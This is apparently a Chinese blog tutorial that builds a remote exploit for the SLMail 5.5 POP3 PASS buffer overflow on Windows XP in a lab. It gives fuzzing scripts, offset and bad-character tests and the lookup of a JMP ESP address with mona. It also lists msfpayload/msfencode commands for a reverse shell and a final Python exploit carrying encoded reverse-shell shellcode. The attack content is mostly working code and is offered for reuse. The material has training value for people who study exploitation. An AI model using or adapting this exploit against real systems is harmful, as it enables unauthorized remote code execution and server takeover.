缓冲区溢出是什么?

当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据

成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

POP3   PASS 命令存在缓冲区溢出漏洞   无需身份验证实现远程代码执行


软件

slmail          http://slmail.software.informer.com/5.5/

mona.py      https://github.com/corelan/mona

immunity debugger      https://www.immunityinc.com/products/debugger/


系统环境

kali 2.0

windows XP sp3


首先默认配置安装好软件,吧mona.py移动至debugger目录下的PyCommands文件夹里

在系统服务里打开 Seattle Lab POP3 Server

在kali中使用nc查看XP机器的110端口,回弹正确的话会有这样

就是测试这里会不会有缓冲区溢出

命令可以有 USER xxx 或者 PASS  xxx

可以写个python脚本来实现这个基本功能

#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
   print "\n[*]Sending evil buffer..."
   s.connect(("192.168.116.139",110))
   data = s.recv(1024)
   print data
   s.send("USER test"+"\r\n")
   data = s.recv(1024)
   print data
   s.send("PASS test\r\n")
   data = s.recv(1024)
   print data
   s.close()
   print "\n[*]Done"
except:
   print "\n[*]Could not connect to POP3!"

我们打开 immunity debugger,file->attach->

选择哪个监听110端口的SLmail进程,然后attach

此时程序是被暂停的,右下角的paused可以看出,单击在工具栏上类似播放的按钮,启动程序

然后构造如下脚本测试大概多少字节会溢出

#!/usr/bin/python
import socket

buffer=["A"]
counter=100

while len(buffer) <= 50:
    buffer.append("A"*counter)
    counter+=200

for string in buffer:
    print "[*]Fuzzing PASS with %s bytes" % len(string)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(('192.168.116.139',110))
    s.recv(1024)
    s.send('USER test'+'\r\n')
    s.recv(1024)
    s.send('PASS ' + string + '\r\n')
    s.send('QUIT'+'\r\n')
    s.close()

运行一下

2900发送了很久没有结果,说明程序已经崩溃了,回到xp看一下,可以看到程序已经停止,右下角有running变成了paused

把debugger重开,pop3服务重开,然后再attach再running再测试

这时候可以手工测试一下,发个2700字节的

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = "A" * 2700
try:
   print "\n[*]Sending evil buffer..."
   s.connect(("192.168.116.139",110))
   data = s.recv(1024)
   print data

   s.send("USER Xuan"+"\r\n")
   data = s.recv(1024)
   print data

   s.send("PASS " + buffer + "\r\n")
   data = s.recv(1024)
   print data

   s.close()
   print "\n[*]Done"
except:
   print "\n[*]Could not connect to POP3!"

这时候程序已经崩溃,看一下xp界面

可以看到字节已经覆盖EIP,现在要做的就是要具体到EIP是从第多少个字符开始被覆盖的

这里可以用kali的一个工具生成不带重样的字符串

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 

会得到2700字节的不带重样的字符串

复制进python脚本,把第三个脚本buffer内容改成这串就行

xp那边准备好,运行一下

可以看到EIP的数值是39694438

这里需要注意的是在内存中地址和书写的不太一样,高地址放低位而低地址放高位

所以实际数值是38 44 69 39

换算成ascii码是 8Di9

你可以在文本编辑器里把之前的字符串复制进去然后查找这个的位置然后减一

也可以利用工具计算偏移量

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_offset.rb -q 

这里之前有2606个字符

也就是从2607个开始的覆盖到了EIP的地址

然后写个脚本确认一下是否正确

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = "A"*2606 + "B"*4 + "C"*20

try:
   print "\n[*]Sending evil buffer..."
   s.connect(("192.168.116.139",110))
   data = s.recv(1024)
   s.send("USER test"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\n[*]Done!."
except:
   print "\n[*]Could not connect to POP3!"

运行

可以看到,本来就写了四个B(ascii是42),刚好填充进EIP的地址,说明之前的实验结果正确

也就是已经可以控制程序下一条执行命令的地址

然后要做的就是把想要的shellcode写入目标地址里,接着需要寻找可写shellcode的空间

刚才在B之后还有C,看上图,C被写在了ESP

构造如下脚本测试ESP的能写多少

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer = "A"*2606 + "B"*4 + "C"*(3500-2606-4)

try:
   print "\n[*]Sending evil buffer..."
   s.connect(("192.168.116.139",110))
   data = s.recv(1024)
   s.send("USER test"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\n[*]Done!."
except:
   print "\n[*]Could not connect to POP3!"

3500是构造的数值,2606是A,4是B,运行

EIP依然是精准的四个B,而我们的C在ESP则一大串,在ESP地址右键 Follow in Dump

在左下角查看,找到B和C的交接地方

从01F7A154开始就是ESP的内容地址,一直拉到结束

01F7A2FC就是结束地址,用自带的计算器算一下

十六进制计算结果转为十进制,是424

shellcode一般需要300多字节,也就是说ESP这里完全够放下shellcode

但是在实际操作中,会有一些特别字符, 比如

null  byte  (0x00) 空字符,用于终止字符串的拷贝操作

return  (0x0D) 回车操作,表示POP3 PASS 命令输入完成

等等,还有程序自定义的特殊字符,我们需要测试出这些特殊字符,以免shellcode异常

而这些字符最多只有256个,也就是从00000000到11111111的全部,我们可以一一测试

构造如下脚本

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchars = (
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" +
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" +
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" +
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" +
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" +
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" +
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f" +
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" +
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" +
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" +
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" +
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" +
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" +
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" +
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" +
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

buffer = "A"*2606 + "B"*4 + badchars

try:
   print "\n[*]Sending evil buffer..."
   s.connect(("192.168.116.139",110))
   data = s.recv(1024)
   s.send("USER test"+"\r\n")
   data = s.recv(1024)
   s.send("PASS "+buffer+"\r\n")
   print "\n[*]Done!."
except:
   print "\n[*]Could not connect to POP3!"

可以反复测试,在ESP中查看具体,缺少哪个字符,或者到哪停止,替换为别的字符没问题,就代表那个字符有问题,有特殊含义,不能写在shellcode

实验中坏字符为:0x00  0x0D 0x0A

坏字符不多,写入一个shellcode是完全可能的,现在只要把ESP的地址写在EIP,就可以执行shellcode从而拿到shell

然而实际中,ESP的地址不固定,不能写死ESP,这时候需要固定的地址来跳转

比如操作系统的一些模块,有些地址是固定的,不随着任何东西改变,我们可以利用固定地址模块里的 JMP ESP命令跳转到ESP的动态地址

这时候需要用到mona.py

底下输入栏里输入 !mona modules

Rebase代表操作系统重启后内存地址是否发生变化,true代表变化

SafeSEH,ASLR,NXCompat 都是操作系统自带的安全保护机制,true代表是受保护的

OS Dll 代表是否是操作系统的模块,true代表是

我们选择前四列是false,最后一列是true的进程

比如选择slmfc.dll,我们需要查找这个进程有没有JMP ESP指令

因为JMP ESP是汇编指令,计算机并不识别,我们需要转换,回到kali执行命令

因为是十六进制,我们加上\x

执行 !mona find -s "\xff\xe4" -m slmfc.dll

找到19个

如果出现下图这样就换个进程接着找

双击任意一个,在内存数据框中,右键->Disassemble切换为汇编语言

如图,第一个就是我们要的地址  5F4A358F

为了测试这个地址是否可用,我们对这个地址增加一下功能

如图选择第一个选项设置断点,意思是访问到这个地址就终止

接着构造脚本测试

#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer="a"*2606 + "\x8F\x35\x4A\x5F" + "C"*400
try:
   print "[*]Sending evil buffer..."
   s.connect(("192.168.116.139",110))
   data = s.recv(1024)
   print data

   s.send("USER Xuan"+"\r\n")
   data = s.recv(1024)
   print data

   s.send("PASS " + buffer + "\r\n")
   data = s.recv(1024)
   print data

   s.close()
   print "\nDone"

except:
   print "[*]Could not connect to POP3!"

需要注意的是地址是反过来写的,而且需要加\x

没问题的话会这么个结果,提示 在执行这个地址的时候内存断点

这就代表这个地址没问题

接下来我们生成shellcode来替换ESP的内容

为了过目标机防火墙,我们选择生成反向shell

cd /usr/share/framework2/
./msfpayload -l                        #可以生成的shellcode的种类
./msfpayload win32_reverse LHOST= C

这里还有个问题就是之前说过的坏字符,不过我们可以利用另一个工具来替换,有时候也用来隐藏特征做免杀

./msfpayload win32_reverse LHOST= R | ./msfencode -b "\x00\x0a\x0d"

会类似这样

我们将shellcode写入脚本中

#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shellcode=(
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfd\x6f\x3b" +
"\x2d\x83\xeb\xfc\xe2\xf4\x01\x05\xd0\x60\x15\x96\xc4\xd2\x02\x0f" +
"\xb0\x41\xd9\x4b\xb0\x68\xc1\xe4\x47\x28\x85\x6e\xd4\xa6\xb2\x77" +
"\xb0\x72\xdd\x6e\xd0\x64\x76\x5b\xb0\x2c\x13\x5e\xfb\xb4\x51\xeb" +
"\xfb\x59\xfa\xae\xf1\x20\xfc\xad\xd0\xd9\xc6\x3b\x1f\x05\x88\x8a" +
"\xb0\x72\xd9\x6e\xd0\x4b\x76\x63\x70\xa6\xa2\x73\x3a\xc6\xfe\x43" +
"\xb0\xa4\x91\x4b\x27\x4c\x3e\x5e\xe0\x49\x76\x2c\x0b\xa6\xbd\x63" +
"\xb0\x5d\xe1\xc2\xb0\x6d\xf5\x31\x53\xa3\xb3\x61\xd7\x7d\x02\xb9" +
"\x5d\x7e\x9b\x07\x08\x1f\x95\x18\x48\x1f\xa2\x3b\xc4\xfd\x95\xa4" +
"\xd6\xd1\xc6\x3f\xc4\xfb\xa2\xe6\xde\x4b\x7c\x82\x33\x2f\xa8\x05" +
"\x39\xd2\x2d\x07\xe2\x24\x08\xc2\x6c\xd2\x2b\x3c\x68\x7e\xae\x2c" +
"\x68\x6e\xae\x90\xeb\x45\x3d\xc7\x4f\xaf\x9b\x07\x3a\x91\x9b\x3c" +
"\xb2\xcc\x68\x07\xd7\xd4\x57\x0f\x6c\xd2\x2b\x05\x2b\x7c\xa8\x90" +
"\xeb\x4b\x97\x0b\x5d\x45\x9e\x02\x51\x7d\xa4\x46\xf7\xa4\x1a\x05" +
"\x7f\xa4\x1f\x5e\xfb\xde\x57\xfa\xb2\xd0\x03\x2d\x16\xd3\xbf\x43" +
"\xb6\x57\xc5\xc4\x90\x86\x95\x1d\xc5\x9e\xeb\x90\x4e\x05\x02\xb9" +
"\x60\x7a\xaf\x3e\x6a\x7c\x97\x6e\x6a\x7c\xa8\x3e\xc4\xfd\x95\xc2" +
"\xe2\x28\x33\x3c\xc4\xfb\x97\x90\xc4\x1a\x02\xbf\x53\xca\x84\xa9" +
"\x42\xd2\x88\x6b\xc4\xfb\x02\x18\xc7\xd2\x2d\x07\xcb\xa7\xf9\x30" +
"\x68\xd2\x2b\x90\xeb\x2d"
)
buffer="a"*2606 + "\x8F\x35\x4A\x5F" + "\x90" * 8 + shellcode
try:
   print "[*]Sending evil buffer..."
   s.connect(("192.168.116.139",110))
   data = s.recv(1024)
   print data

   s.send("USER Xuan"+"\r\n")
   data = s.recv(1024)
   print data

   s.send("PASS " + buffer + "\r\n")
   data = s.recv(1024)
   print data

   s.close()
   print "\nDone"

except:
   print "[*]Could not connect to POP3!"

这里加上了8个\x90,\x90在汇编是无操作的意思,为了保证shellcode的有效性,如果跳转过来第一位就是shellcode的内容,有可能前几位会被擦掉,纯属经验之谈

现在在xp不用开任何监听软件,打开slmail的服务就可以

我们在本机监听端口444,然后运行上边的脚本,没问题就会反弹一个shell

而且可以反复溢出反复注入

还需要注意的一点是,如果你是新版本metasploit,那么shellcode没问题,如果是旧版本,它的shellcode退出方式是exitprocess,会导致程序崩溃,生成时需要加上 EXITFUNC=thread

新版本的metasploit已经没有这个问题


这个漏洞很老,适合新手学习,整个过程需要反复的验证可靠性,不失是一个经典溢出案例

enjoy it

博客园 - windows下简单的缓冲区溢出


windows下简单的缓冲区溢出的更多相关文章

  1. Linux下简单的缓冲区溢出

    缓冲区溢出是什么? 科班出身,或者学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据 成功修改内存数据,可造成进程劫持 ...

  2. 【微服务No.1】Consul服务发现在windows下简单使用

    基本介绍: 安装: 下载地址:https://www.consul.io/downloads.html 运行: consul agent -dev 显示这个界面说明已经开启成功. 页面显示: 然后访问 ...

  3. windows下简单安装postgres

    目前版本是PostgreSQL 9.6,它经过以下平台认证: 32位Windows Windows 7,8和10 Windows 2008 Server 64位Windows Windows 7,8和 ...

  4. Consul服务发现在windows下简单使用

    目录 基本介绍: 服务连接: 客户端: 系列章节: 回到顶部 基本介绍: 安装: 下载地址:https://www.consul.io/downloads.html 运行: consul agent ...

  5. 旧书重温:0day2【1】 简单的缓冲区溢出案例

    0x01 准备: VMwarePlayer (我是在360软件管家那搜到的下载的) xp sp2 http://user.qzone.qq.com/252738331/blog/1357138598 ...

  6. windows下简单验证码识别——完美验证码识别系统

    此文已由作者徐迪授权网易云社区发布. 欢迎访问网易云社区,了解更多网易技术产品运营经验. 讲到验证码识别,大家第一个可能想到tesseract.诚然,对于OCR而言,tesseract确实很强大,自带 ...

  7. windows下简单配置apache

    不得不做个笔记,不然每次配置都记不清楚... 详细的配置朋友这边写的很好.地址 # 对 PHP 4 LoadModule php4_module "c:/php/php4apache2.dl ...

  8. QT开发(二) windows下简单部署

    如果使用vs编译器 需要c runtime 例如(msvc110 )这种 还需要若干qt的dll 基本在qt的bin目录 如果使用了QWindow这种对象还需要引用qt目录 plugins下 的内容 ...

  9. windows下简单配置squid反向代理服务器

    下载windwosNT版本的squid下载地址: http://squid.acmeconsulting.it/download/squid-2.6.STABLE13-bin.zip 1.把squid ...

随机推荐

  1. [CSS] Transitions动画效果(1)

    Transitions动画效果(1) 源码 https://github.com/YouXianMing/CSS-Animations/tree/master/Transitions 效果 细节

  2. Copy Control settings

    Copy Control settings     Skip to end of metadata   Created by Rajesh Banka, last modified by Jyoti ...

  3. Tsung MQTT协议简介及MQTT xml文档配置介绍

    MQTT协议简介及MQTT xml文档配置介绍 by:授客 QQ:1033553122 1. MQTT协议介绍 MQTT(Message Queuing Telemetry Transport,消息队 ...

  4. Python绘图工具Plotly的简单使用

    1.Plotly被称为史上最好的绘图工具之一,为了更好的展示金融数据的复杂性. Plotly的官方网站为:https://plot.ly/ python量化的关键是金融数据可视化,无论是传统的K线图, ...

  5. log4j.properties配置说明

    log4j.properties配置说明 1. log4j配置 # ALL,DEBUG,INFO,WARN,ERROR,FATAL,OFF LOG_LEVEL=INFO log4j.rootLogge ...

  6. python的内置函数time

    time 模块 1 >>> import time 2 >>> time.time() 3 1491064723.808669 4 >>> # t ...

  7. 多级nginx代理,获取客户端真实ip

    今天服务里的微信公众号支付业务突然不能用了,报错为网络环境未能通过安全验证,请稍后再试.检查后端日志,没有任何问题,看来是成功创建支付订单,但是调起支付时出现了问题.上网查了一下,这个报错的直接原因是 ...

  8. weblogic---- Remote远程调用

    删之前重新写一下以防以后遗忘 一.服务器端 package com.ij34.dao; import javax.ejb.Remote; /** * @author Admin * @date 创建时 ...

  9. Table 'performance_schema.session_variables' doesn't exist错误的一

    mysql驱动 jar 换到现在最新的mysql-connector-java-5.1.39-bin.jar

  10. java调用天气预报接口案例

    免费天气接口:http://mobile.weather.com.cn/data/sk/城市ID.html 例如: http://mobile.weather.com.cn/data/sk/10124 ...